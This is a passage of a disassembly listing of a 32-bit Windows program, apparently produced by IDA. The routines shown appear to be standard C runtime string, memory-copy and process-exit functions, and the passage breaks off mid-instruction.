esi jz short loc_41ED39 push 2 push ebx push esi call sub_42311A add esp, 0Ch mov byte ptr [esi+2], 0 loc_41ED39: ; CODE XREF: sub_41ED01+26j inc ebx inc ebx jmp short loc_41ED47 ; --------------------------------------------------------------------------- loc_41ED3D: ; CODE XREF: sub_41ED01+19j ; sub_41ED01+1Fj mov eax, [ebp+arg_4] test eax, eax jz short loc_41ED47 mov byte ptr [eax], 0 loc_41ED47: ; CODE XREF: sub_41ED01+3Aj ; sub_41ED01+41j and [ebp+arg_0], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov [ebp+var_8], eax mov esi, 0FFh jz short loc_41EDBF loc_41ED5A: ; CODE XREF: sub_41ED01+88j mov cl, [eax] movzx edx, cl test ds:byte_4E2CC1[edx], 4 jz short loc_41ED6B inc eax jmp short loc_41ED85 ; --------------------------------------------------------------------------- loc_41ED6B: ; CODE XREF: sub_41ED01+65j cmp cl, 2Fh jz short loc_41ED7F cmp cl, 5Ch jz short loc_41ED7F cmp cl, 2Eh jnz short loc_41ED85 mov [ebp+var_4], eax jmp short loc_41ED85 ; --------------------------------------------------------------------------- loc_41ED7F: ; CODE XREF: sub_41ED01+6Dj ; sub_41ED01+72j lea ecx, [eax+1] mov [ebp+arg_0], ecx loc_41ED85: ; CODE XREF: sub_41ED01+68j ; sub_41ED01+77j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41ED5A mov edi, [ebp+arg_0] test edi, edi mov [ebp+var_8], eax jz short loc_41EDBF cmp [ebp+arg_8], 0 jz short loc_41EDBA sub edi, ebx cmp edi, esi jb short loc_41EDA3 mov edi, esi loc_41EDA3: ; CODE XREF: sub_41ED01+9Ej push edi push ebx push [ebp+arg_8] call sub_42311A mov eax, [ebp+arg_8] mov byte ptr [edi+eax], 0 mov eax, [ebp+var_8] add esp, 0Ch loc_41EDBA: ; CODE XREF: sub_41ED01+98j mov ebx, [ebp+arg_0] jmp short loc_41EDC9 ; --------------------------------------------------------------------------- loc_41EDBF: ; CODE XREF: sub_41ED01+57j ; sub_41ED01+92j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41EDC9 mov byte ptr [ecx], 0 loc_41EDC9: ; CODE XREF: sub_41ED01+BCj ; sub_41ED01+C3j mov edi, [ebp+var_4] test edi, edi jz short loc_41EE1C cmp edi, ebx jb short loc_41EE1C cmp [ebp+arg_C], 0 jz short loc_41EDF9 sub edi, ebx cmp edi, esi jb short loc_41EDE2 mov edi, esi loc_41EDE2: ; CODE XREF: sub_41ED01+DDj push edi push ebx push [ebp+arg_C] call sub_42311A mov eax, [ebp+arg_C] mov byte ptr [edi+eax], 0 mov eax, [ebp+var_8] add esp, 0Ch loc_41EDF9: ; CODE XREF: sub_41ED01+D7j mov edi, [ebp+arg_10] test edi, edi jz short loc_41EE44 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41EE09 mov esi, eax loc_41EE09: ; CODE XREF: sub_41ED01+104j push esi push [ebp+var_4] push edi call sub_42311A add esp, 0Ch mov byte ptr [esi+edi], 0 jmp short loc_41EE44 ; --------------------------------------------------------------------------- loc_41EE1C: ; CODE XREF: sub_41ED01+CDj ; sub_41ED01+D1j mov edi, [ebp+arg_C] test edi, edi jz short loc_41EE3A sub eax, ebx cmp eax, esi jnb short loc_41EE2B mov esi, eax loc_41EE2B: ; CODE XREF: sub_41ED01+126j push esi push ebx push edi call sub_42311A add esp, 0Ch mov byte ptr [esi+edi], 0 loc_41EE3A: ; CODE XREF: sub_41ED01+120j mov eax, [ebp+arg_10] test eax, eax jz short loc_41EE44 mov byte ptr [eax], 0 loc_41EE44: ; CODE XREF: sub_41ED01+FDj ; sub_41ED01+119j ... pop edi pop esi pop ebx leave retn sub_41ED01 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE50 proc near ; CODE XREF: sub_40274D+1C92p ; sub_40274D+1CB1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_41EE77 xor eax, eax jmp short loc_41EE79 ; --------------------------------------------------------------------------- loc_41EE77: ; CODE XREF: sub_41EE50+21j mov eax, edi loc_41EE79: ; CODE XREF: sub_41EE50+25j cld pop edi leave retn sub_41EE50 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE80 proc near ; CODE XREF: sub_40274D+7A0p ; seg000:004246D0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41EEB2 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41EEB0 jz short loc_41EEB2 sub ecx, 2 loc_41EEB0: ; CODE XREF: sub_41EE80+29j not ecx loc_41EEB2: ; CODE XREF: sub_41EE80+9j ; sub_41EE80+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41EE80 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= sub_41EEC0 proc near ; CODE XREF: sub_40274D+3D4p ; sub_40274D+2DEDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41EF35 sub_41EEC0 endp ; --------------------------------------------------------------------------- db 8Dh dd 24A4h, 0FF8B0000h ; =============== S U B R O U T I N E ======================================= sub_41EED0 proc near ; CODE XREF: sub_40274D+3DDp ; sub_40274D+7210p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41EEF0 loc_41EEDD: ; CODE XREF: sub_41EED0+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_41EF23 test ecx, 3 jnz short loc_41EEDD mov edi, edi loc_41EEF0: ; CODE XREF: sub_41EED0+Bj ; sub_41EED0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41EEF0 mov eax, [ecx-4] test al, al jz short loc_41EF32 test ah, ah jz short loc_41EF2D test eax, 0FF0000h jz short loc_41EF28 test eax, 0FF000000h jz short loc_41EF23 jmp short loc_41EEF0 ; --------------------------------------------------------------------------- loc_41EF23: ; CODE XREF: sub_41EED0+14j ; sub_41EED0+4Fj lea edi, [ecx-1] jmp short loc_41EF35 ; --------------------------------------------------------------------------- loc_41EF28: ; CODE XREF: sub_41EED0+48j lea edi, [ecx-2] jmp short loc_41EF35 ; --------------------------------------------------------------------------- loc_41EF2D: ; CODE XREF: sub_41EED0+41j lea edi, [ecx-3] jmp short loc_41EF35 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EED0+3Dj lea edi, [ecx-4] loc_41EF35: ; CODE XREF: sub_41EEC0+5j ; sub_41EED0+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41EF5E loc_41EF41: ; CODE XREF: sub_41EED0+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_41EFB0 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_41EF41 jmp short loc_41EF5E ; --------------------------------------------------------------------------- loc_41EF59: ; CODE XREF: sub_41EED0+A6j ; sub_41EED0+C0j mov [edi], edx add edi, 4 loc_41EF5E: ; CODE XREF: sub_41EED0+6Fj ; sub_41EED0+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41EF59 test dl, dl jz short loc_41EFB0 test dh, dh jz short loc_41EFA7 test edx, 0FF0000h jz short loc_41EF9A test edx, 0FF000000h jz short loc_41EF92 jmp short loc_41EF59 ; --------------------------------------------------------------------------- loc_41EF92: ; CODE XREF: sub_41EED0+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41EF9A: ; CODE XREF: sub_41EED0+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41EFA7: ; CODE XREF: sub_41EED0+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41EFB0: ; CODE XREF: sub_41EED0+78j ; sub_41EED0+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41EED0 endp ; --------------------------------------------------------------------------- dd 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41EFD0 loc_41EFC0: ; CODE XREF: sub_41EFD0+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41EFD0 ; --------------------------------------------------------------------------- db 8Dh, 0A4h, 24h dd 0 dd 24648Dh ; =============== S U B R O U T I N E ======================================= sub_41EFD0 proc near ; CODE XREF: sub_40274D+3B9p ; sub_40274D+459p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041EFC0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41EFD6: ; CODE XREF: sub_41F090+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41EFFD loc_41EFE8: ; CODE XREF: sub_41EFD0+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_41EFC0 test cl, cl jz short loc_41F046 test edx, 3 jnz short loc_41EFE8 loc_41EFFD: ; CODE XREF: sub_41EFD0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41F008: ; CODE XREF: sub_41EFD0+63j ; sub_41EFD0+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41F04A and eax, 81010100h jz short loc_41F008 and eax, 1010100h jnz short loc_41F044 and esi, 80000000h jnz short loc_41F008 loc_41F044: ; CODE XREF: sub_41EFD0+6Aj ; sub_41EFD0+83j ... pop esi pop edi loc_41F046: ; CODE XREF: sub_41EFD0+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41F04A: ; CODE XREF: sub_41EFD0+5Cj mov eax, [edx-4] cmp al, bl jz short loc_41F087 test al, al jz short loc_41F044 cmp ah, bl jz short loc_41F080 test ah, ah jz short loc_41F044 shr eax, 10h cmp al, bl jz short loc_41F079 test al, al jz short loc_41F044 cmp ah, bl jz short loc_41F072 test ah, ah jz short loc_41F044 jmp short loc_41F008 ; --------------------------------------------------------------------------- loc_41F072: ; CODE XREF: sub_41EFD0+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41F079: ; CODE XREF: sub_41EFD0+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41F080: ; CODE XREF: sub_41EFD0+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41F087: ; CODE XREF: sub_41EFD0+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41EFD0 endp ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= sub_41F090 proc near ; CODE XREF: sub_40274D+8Dp ; sub_40274D+21Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41F110 mov dh, [ecx+1] test dh, dh jz short loc_41F0FD loc_41F0A8: ; CODE XREF: sub_41F090+58j ; sub_41F090+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_41F0CE test al, al jz short loc_41F0C8 loc_41F0BB: ; CODE XREF: sub_41F090+36j mov al, [esi] add esi, 1 loc_41F0C0: ; CODE XREF: sub_41F090+45j cmp al, dl jz short loc_41F0CE test al, al jnz short loc_41F0BB loc_41F0C8: ; CODE XREF: sub_41F090+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41F090+25j ; sub_41F090+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_41F0C0 lea edi, [esi-1] loc_41F0DA: ; CODE XREF: sub_41F090+69j mov ah, [ecx+2] test ah, ah jz short loc_41F109 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41F0A8 mov al, [ecx+3] test al, al jz short loc_41F109 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41F0DA jmp short loc_41F0A8 ; --------------------------------------------------------------------------- loc_41F0FD: ; CODE XREF: sub_41F090+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41EFD6 ; --------------------------------------------------------------------------- loc_41F109: ; CODE XREF: sub_41F090+4Fj ; sub_41F090+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41F110: ; CODE XREF: sub_41F090+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41F090 endp ; =============== S U B R O U T I N E ======================================= sub_41F116 proc near ; CODE XREF: sub_41F1B0+BAp ; start-C3207p var_C = dword ptr -0Ch var_8 = dword ptr -8 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_42B024 ; GetModuleHandleA test eax, eax jz short loc_41F13B push offset aCorexitprocess ; "CorExitProcess" push eax call ds:dword_42B020 ; GetProcAddress test eax, eax jz short loc_41F13B push [esp+0Ch+var_8] call eax ; dword_43C03C loc_41F13B: ; CODE XREF: sub_41F116+Dj ; sub_41F116+1Dj push [esp+10h+var_C] call ds:dword_42B000 ; ExitProcess int 3 ; Trap to Debugger sub_41F116 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F146 proc near ; CODE XREF: start-C31AEp arg_0 = dword ptr 4 mov eax, ds:off_443788 test eax, eax jz short loc_41F156 push [esp+arg_0] call eax ; sub_41FE1A pop ecx loc_41F156: ; CODE XREF: sub_41F146+7j push esi push edi mov ecx, offset dword_43C014 mov edi, offset dword_43C02C xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_41F181 loc_41F16A: ; CODE XREF: sub_41F146+35j test eax, eax jnz short loc_41F1AD mov ecx, [esi] test ecx, ecx jz short loc_41F176 call ecx loc_41F176: ; CODE XREF: sub_41F146+2Cj add esi, 4 cmp esi, edi jb short loc_41F16A test eax, eax jnz short loc_41F1AD loc_41F181: ; CODE XREF: sub_41F146+22j push offset byte_42329B call sub_42321D mov esi, offset dword_43C000 mov eax, esi mov edi, offset dword_43C010 cmp eax, edi pop ecx jnb short loc_41F1AB loc_41F19C: ; CODE XREF: sub_41F146+63j mov eax, [esi] test eax, eax jz short loc_41F1A4 call eax loc_41F1A4: ; CODE XREF: sub_41F146+5Aj add esi, 4 cmp esi, edi jb short loc_41F19C loc_41F1AB: ; CODE XREF: sub_41F146+54j xor eax, eax loc_41F1AD: ; CODE XREF: sub_41F146+26j ; sub_41F146+39j pop edi pop esi retn sub_41F146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F1B0 proc near ; CODE XREF: sub_41F271+8p ; sub_41F282+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi inc esi cmp ds:dword_4E2940, esi push edi jnz short loc_41F1D0 push [ebp+arg_0] call ds:dword_42B09C ; GetCurrentProcess push eax call ds:dword_42B094 ; TerminateProcess loc_41F1D0: ; CODE XREF: sub_41F1B0+Ej cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov ds:dword_4E293C, esi mov ds:byte_4E2938, al jnz short loc_41F236 mov ecx, ds:dword_4E3F2C test ecx, ecx jz short loc_41F217 mov eax, ds:dword_4E3F28 sub eax, 4 cmp eax, ecx jmp short loc_41F210 ; --------------------------------------------------------------------------- loc_41F1FA: ; CODE XREF: sub_41F1B0+65j mov eax, [eax] test eax, eax jz short loc_41F202 call eax loc_41F202: ; CODE XREF: sub_41F1B0+4Ej mov eax, ds:dword_4E3F28 sub eax, 4 cmp eax, ds:dword_4E3F2C loc_41F210: ; CODE XREF: sub_41F1B0+48j mov ds:dword_4E3F28, eax jnb short loc_41F1FA loc_41F217: ; CODE XREF: sub_41F1B0+3Cj mov eax, offset dword_43C030 mov esi, offset dword_43C038 cmp eax, esi mov edi, eax jnb short loc_41F236 loc_41F227: ; CODE XREF: sub_41F1B0+84j mov eax, [edi] test eax, eax jz short loc_41F22F call eax loc_41F22F: ; CODE XREF: sub_41F1B0+7Bj add edi, 4 cmp edi, esi jb short loc_41F227 loc_41F236: ; CODE XREF: sub_41F1B0+32j ; sub_41F1B0+75j mov eax, offset dword_43C03C mov esi, offset dword_43C044 cmp eax, esi mov edi, eax jnb short loc_41F255 loc_41F246: ; CODE XREF: sub_41F1B0+A3j mov eax, [edi] test eax, eax jz short loc_41F24E call eax loc_41F24E: ; CODE XREF: sub_41F1B0+9Aj add edi, 4 cmp edi, esi jb short loc_41F246 loc_41F255: ; CODE XREF: sub_41F1B0+94j cmp [ebp+arg_8], 0 pop edi pop esi jnz short loc_41F26F push [ebp+arg_0] mov ds:dword_4E2940, 1 call sub_41F116 loc_41F26F: ; CODE XREF: sub_41F1B0+ABj pop ebp retn sub_41F1B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F271 proc near ; CODE XREF: start-C315Dp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41F1B0 add esp, 0Ch retn sub_41F271 endp ; =============== S U B R O U T I N E ======================================= sub_41F282 proc near ; CODE XREF: sub_420CE8+1Cp ; sub_426FC0+142p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41F1B0 add esp, 0Ch retn sub_41F282 endp ; =============== S U B R O U T I N E ======================================= sub_41F293 proc near ; CODE XREF: start:loc_420EA8p push 1 push 0 push 0 call sub_41F1B0 add esp, 0Ch retn sub_41F293 endp ; --------------------------------------------------------------------------- dw 16Ah dd 6A016Ah, 0FFFF03E8h, 0CC483FFh, 0CCCCCCC3h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41F2C0 proc near ; CODE XREF: sub_40AAE6+82p ; sub_40B3C5+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41F384 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41F2EC loc_41F2DB: ; CODE XREF: sub_41F2C0+2Aj mov al, [edi] add edi, 1 test al, al jz short loc_41F31D test edi, 3 jnz short loc_41F2DB loc_41F2EC: ; CODE XREF: sub_41F2C0+19j ; sub_41F2C0+42j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41F2EC mov eax, [edi-4] test al, al jz short loc_41F32C test ah, ah jz short loc_41F327 test eax, 0FF0000h jz short loc_41F322 test eax, 0FF000000h jnz short loc_41F2EC loc_41F31D: ; CODE XREF: sub_41F2C0+22j sub edi, 1 jmp short loc_41F32F ; --------------------------------------------------------------------------- loc_41F322: ; CODE XREF: sub_41F2C0+54j sub edi, 2 jmp short loc_41F32F ; --------------------------------------------------------------------------- loc_41F327: ; CODE XREF: sub_41F2C0+4Dj sub edi, 3 jmp short loc_41F32F ; --------------------------------------------------------------------------- loc_41F32C: ; CODE XREF: sub_41F2C0+49j sub edi, 4 loc_41F32F: ; CODE XREF: sub_41F2C0+60j ; sub_41F2C0+65j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41F344 mov ebx, ecx shr ecx, 2 jnz short loc_41F39E jmp short loc_41F366 ; --------------------------------------------------------------------------- loc_41F344: ; CODE XREF: sub_41F2C0+79j ; sub_41F2C0+9Dj mov dl, [esi] add esi, 1 test dl, dl jz short loc_41F38A mov [edi], dl add edi, 1 sub ecx, 1 jz short loc_41F380 test esi, 3 jnz short loc_41F344 mov ebx, ecx shr ecx, 2 jnz short loc_41F39E loc_41F366: ; CODE XREF: sub_41F2C0+82j ; sub_41F2C0+DCj mov ecx, ebx and ecx, 3 jz short loc_41F380 loc_41F36D: ; CODE XREF: sub_41F2C0+BEj mov dl, [esi] add esi, 1 mov [edi], dl add edi, 1 test dl, dl jz short loc_41F382 sub ecx, 1 jnz short loc_41F36D loc_41F380: ; CODE XREF: sub_41F2C0+95j ; sub_41F2C0+ABj mov [edi], cl loc_41F382: ; CODE XREF: sub_41F2C0+B9j pop ebx pop esi loc_41F384: ; CODE XREF: sub_41F2C0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41F38A: ; CODE XREF: sub_41F2C0+8Bj ; sub_41F2C0+FAj mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41F394: ; CODE XREF: sub_41F2C0+F6j ; sub_41F2C0+10Ej mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_41F366 loc_41F39E: ; CODE XREF: sub_41F2C0+80j ; sub_41F2C0+A4j mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41F394 test dl, dl jz short loc_41F38A test dh, dh jz short loc_41F3EA test edx, 0FF0000h jz short loc_41F3DA test edx, 0FF000000h jnz short loc_41F394 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41F3DA: ; CODE XREF: sub_41F2C0+106j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41F3EA: ; CODE XREF: sub_41F2C0+FEj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41F2C0 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F400 proc near ; CODE XREF: sub_40AC0D+62p ; sub_40AC0D+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41F420 cmp edi, eax jb loc_41F59C loc_41F420: ; CODE XREF: sub_41F400+16j test edi, 3 jnz short loc_41F43C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F45C rep movsd jmp off_41F54C[edx*4] ; --------------------------------------------------------------------------- loc_41F43C: ; CODE XREF: sub_41F400+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41F454 and eax, 3 add ecx, eax jmp dword ptr loc_41F45C+4[eax*4] ; --------------------------------------------------------------------------- loc_41F454: ; CODE XREF: sub_41F400+46j jmp dword_41F55C[ecx*4] ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- loc_41F45C: ; CODE XREF: sub_41F400+31j ; DATA XREF: sub_41F400+4Dr jmp off_41F4E0[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset dword_41F470 dd offset dword_41F49C dd offset dword_41F4C0 dword_41F470 dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h ; DATA XREF: sub_41F400+64o dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 41F54C95h dd 498D00h dword_41F49C dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h ; DATA XREF: sub_41F400+68o dd 8F98302h, 0A5F3A672h, 4C9524FFh, 900041F5h dword_41F4C0 dd 68AD123h, 0C6830788h, 2E9C101h, 8301C783h, 887208F9h ; DATA XREF: sub_41F400+6Co dd 24FFA5F3h, 41F54C95h, 498D00h off_41F4E0 dd offset byte_41F543 ; DATA XREF: sub_41F400:loc_41F45Cr dd offset dword_41F530 dd offset dword_41F528 dd offset dword_41F520 dd offset dword_41F518 dd offset dword_41F510 dd offset dword_41F508 dd offset dword_41F500 dword_41F500 dd 0E48E448Bh, 0E48F4489h ; DATA XREF: sub_41F400+FCo dword_41F508 dd 0E88E448Bh, 0E88F4489h ; DATA XREF: sub_41F400+F8o dword_41F510 dd 0EC8E448Bh, 0EC8F4489h ; DATA XREF: sub_41F400+F4o dword_41F518 dd 0F08E448Bh, 0F08F4489h ; DATA XREF: sub_41F400+F0o dword_41F520 dd 0F48E448Bh, 0F48F4489h ; DATA XREF: sub_41F400+ECo dword_41F528 dd 0F88E448Bh, 0F88F4489h ; DATA XREF: sub_41F400+E8o dword_41F530 dd 0FC8E448Bh, 0FC8F4489h, 8D048Dh, 3000000h ; DATA XREF: sub_41F400+E4o db 0F0h, 3, 0F8h byte_41F543 db 0FFh ; DATA XREF: sub_41F400:off_41F4E0o dd 0F54C9524h, 0FF8B0041h off_41F54C dd offset dword_41F55C ; DATA XREF: sub_41F400+35r dd offset dword_41F564 dd offset dword_41F570 dd offset dword_41F584 dword_41F55C dd 5E08458Bh ; DATA XREF: sub_41F400:loc_41F454r ; sub_41F400:off_41F54Co dd 90C3C95Fh dword_41F564 dd 788068Ah, 5E08458Bh, 90C3C95Fh ; DATA XREF: sub_41F400+150o dword_41F570 dd 788068Ah, 8801468Ah, 458B0147h, 0C95F5E08h, 498DC3h ; DATA XREF: sub_41F400+154o dword_41F584 dd 788068Ah, 8801468Ah, 468A0147h, 2478802h, 5E08458Bh ; DATA XREF: sub_41F400+158o dd 90C3C95Fh ; --------------------------------------------------------------------------- loc_41F59C: ; CODE XREF: sub_41F400+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41F5D0 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F5C4 std rep movsd cld jmp off_41F6E8[edx*4] ; --------------------------------------------------------------------------- dw 0FF8Bh ; --------------------------------------------------------------------------- loc_41F5C4: ; CODE XREF: sub_41F400+1B5j neg ecx jmp off_41F698[ecx*4] ; --------------------------------------------------------------------------- db 8Dh, 49h, 0 ; --------------------------------------------------------------------------- loc_41F5D0: ; CODE XREF: sub_41F400+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41F5E8 and eax, 3 sub ecx, eax jmp dword ptr loc_41F5E8+4[eax*4] ; --------------------------------------------------------------------------- loc_41F5E8: ; CODE XREF: sub_41F400+1DAj ; DATA XREF: sub_41F400+1E1r jmp off_41F6E8[ecx*4] sub_41F400 endp ; --------------------------------------------------------------------------- db 90h dd offset dword_41F5FC dd offset dword_41F620 dd offset dword_41F648 dword_41F5FC dd 2303468Ah, 34788D1h, 0C101EE83h, 0EF8302E9h, 8F98301h ; DATA XREF: seg000:0041F5F0o dd 0F3FDB272h, 24FFFCA5h, 41F6E895h, 498D00h dword_41F620 dd 2303468Ah, 34788D1h, 0C102468Ah, 478802E9h, 2EE8302h ; DATA XREF: seg000:0041F5F4o dd 8302EF83h, 887208F9h, 0FCA5F3FDh, 0E89524FFh, 900041F6h dword_41F648 dd 2303468Ah, 34788D1h, 8802468Ah, 468A0247h, 2E9C101h ; DATA XREF: seg000:0041F5F8o dd 83014788h, 0EF8303EEh, 8F98303h, 0FF56820Fh, 0F3FDFFFFh dd 24FFFCA5h, 41F6E895h, 498D00h, 41F69Ch, 41F6A4h, 41F6ACh dd 41F6B4h, 41F6BCh, 41F6C4h, 41F6CCh off_41F698 dd offset byte_41F6DF ; DATA XREF: sub_41F400+1C6r dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h, 148E448Bh dd 148F4489h, 108E448Bh, 108F4489h, 0C8E448Bh, 0C8F4489h dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h db 0F0h, 3, 0F8h byte_41F6DF db 0FFh ; DATA XREF: seg000:off_41F698o dd 0F6E89524h, 0FF8B0041h off_41F6E8 dd offset dword_41F6F8 ; DATA XREF: sub_41F400+1BBr ; sub_41F400:loc_41F5E8r dd offset dword_41F700 dd offset dword_41F710 dd offset dword_41F724 dword_41F6F8 dd 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:off_41F6E8o dword_41F700 dd 8803468Ah, 458B0347h, 0C95F5E08h, 498DC3h ; DATA XREF: seg000:0041F6ECo dword_41F710 dd 8803468Ah, 468A0347h, 2478802h, 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:0041F6F0o dword_41F724 dd 8803468Ah, 468A0347h, 2478802h, 8801468Ah, 458B0147h ; DATA XREF: seg000:0041F6F4o dd 0C95F5E08h db 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F73D proc near ; CODE XREF: seg000:0040BBFAp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov 